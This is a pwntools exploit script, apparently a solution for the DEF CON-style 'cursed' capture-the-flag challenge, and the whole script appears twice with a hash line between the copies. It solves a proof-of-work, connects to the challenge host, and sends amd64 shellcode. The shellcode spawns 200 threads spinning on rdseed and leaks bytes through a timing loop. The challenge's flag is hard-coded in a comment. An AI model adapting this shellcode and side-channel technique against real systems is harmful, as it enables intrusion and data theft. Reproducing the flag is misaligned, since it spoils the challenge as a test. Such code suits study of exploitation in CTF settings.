from pwn import *
from pyblake2 import blake2b

#OOO{A_CL0WNPU73R?!!1one_pR0b4BlY_g0t_N0_G4Me5_0n_!7}

def powsolve(buf) :
    p = process("./xb2test")
    p.send(buf)

    print hexdump(buf)

    get = p.recv(0x40)
    print hexdump(get)

    h = blake2b(digest_size=0x10)
    h.update(get)
    print h.hexdigest()

    p.close()

    return get[0x10:]


#p = process("./cursed_original")
p = remote("cursed.challenges.ooo",29696)
#p = process("./cursed")

context.arch = "amd64"

get = p.recv(16)
powsolved = powsolve(get)
#powsolved = "b"*0x30

print hexdump(powsolved)
p.send(powsolved)

#raw_input()

sc = 'nop;'*0x40

sc += '''
mov rsi, 0x900
mov rsi, rsp
sub rsi, 0x10

mov r12, 0

MAKE_CHILDS:
mov r15, r13
add r15, 0x49
mov qword ptr [rsi],r15

mov rdi, 100608
mov rdx, 0xffffffff
mov r10, 0x11
mov r9, 0
mov r8, 0
mov rax, 0x38
syscall
cmp rax,0
je WHILE_RDSEED

/*N THREAD*/
inc r12
cmp r12, 200
jne MAKE_CHILDS

sub rsp,0x100

/*main*/
MAIN:
mov r14, r13
add r14, 0xff8

START_RT:
mov rcx, 0x1

MOV_RT:
mov byte ptr [r14] , cl

mov rdx, 0

/* TRY TO COMPARE N TIMES */
CMP_RT:
/* CORRET */
cmp byte ptr [r14], 0
je WRITE

inc rdx
cmp rdx, 0x200
jne CMP_RT

inc rcx
cmp rcx, 0x80
je START_RT
jmp MOV_RT

WRITE:
push rcx
mov rdi, 1
mov rsi, rsp
mov rdx, 0x1
mov rax, SYS_write
syscall
JMP START_RT


WHILE_RDSEED :
xor rax,rax
rdseed rax
jmp WHILE_RDSEED
'''


shellcode = asm(sc)

#raw_input()
p.send(shellcode.ljust(0x1000,"\x00"))

#print hexdump(p.recv(0x1000))

p.interactive()

e29327125616375118fdf7f8aa9fb01ddf661fb6
from pwn import *
from pyblake2 import blake2b

#OOO{A_CL0WNPU73R?!!1one_pR0b4BlY_g0t_N0_G4Me5_0n_!7}

def powsolve(buf) :
    p = process("./xb2test")
    p.send(buf)

    print hexdump(buf)

    get = p.recv(0x40)
    print hexdump(get)

    h = blake2b(digest_size=0x10)
    h.update(get)
    print h.hexdigest()

    p.close()

    return get[0x10:]


#p = process("./cursed_original")
p = remote("cursed.challenges.ooo",29696)
#p = process("./cursed")

context.arch = "amd64"

get = p.recv(16)
powsolved = powsolve(get)
#powsolved = "b"*0x30

print hexdump(powsolved)
p.send(powsolved)

#raw_input()

sc = 'nop;'*0x40

sc += '''
mov rsi, 0x900
mov rsi, rsp
sub rsi, 0x10

mov r12, 0

MAKE_CHILDS:
mov r15, r13
add r15, 0x49
mov qword ptr [rsi],r15

mov rdi, 100608
mov rdx, 0xffffffff
mov r10, 0x11
mov r9, 0
mov r8, 0
mov rax, 0x38
syscall
cmp rax,0
je WHILE_RDSEED

/*N THREAD*/
inc r12
cmp r12, 200
jne MAKE_CHILDS

sub rsp,0x100

/*main*/
MAIN:
mov r14, r13
add r14, 0xff8

START_RT:
mov rcx, 0x1

MOV_RT:
mov byte ptr [r14] , cl

mov rdx, 0

/* TRY TO COMPARE N TIMES */
CMP_RT:
/* CORRET */
cmp byte ptr [r14], 0
je WRITE

inc rdx
cmp rdx, 0x200
jne CMP_RT

inc rcx
cmp rcx, 0x80
je START_RT
jmp MOV_RT

WRITE:
push rcx
mov rdi, 1
mov rsi, rsp
mov rdx, 0x1
mov rax, SYS_write
syscall
JMP START_RT


WHILE_RDSEED :
xor rax,rax
rdseed rax
jmp WHILE_RDSEED
'''


shellcode = asm(sc)

#raw_input()
p.send(shellcode.ljust(0x1000,"\x00"))

#print hexdump(p.recv(0x1000))

p.interactive()
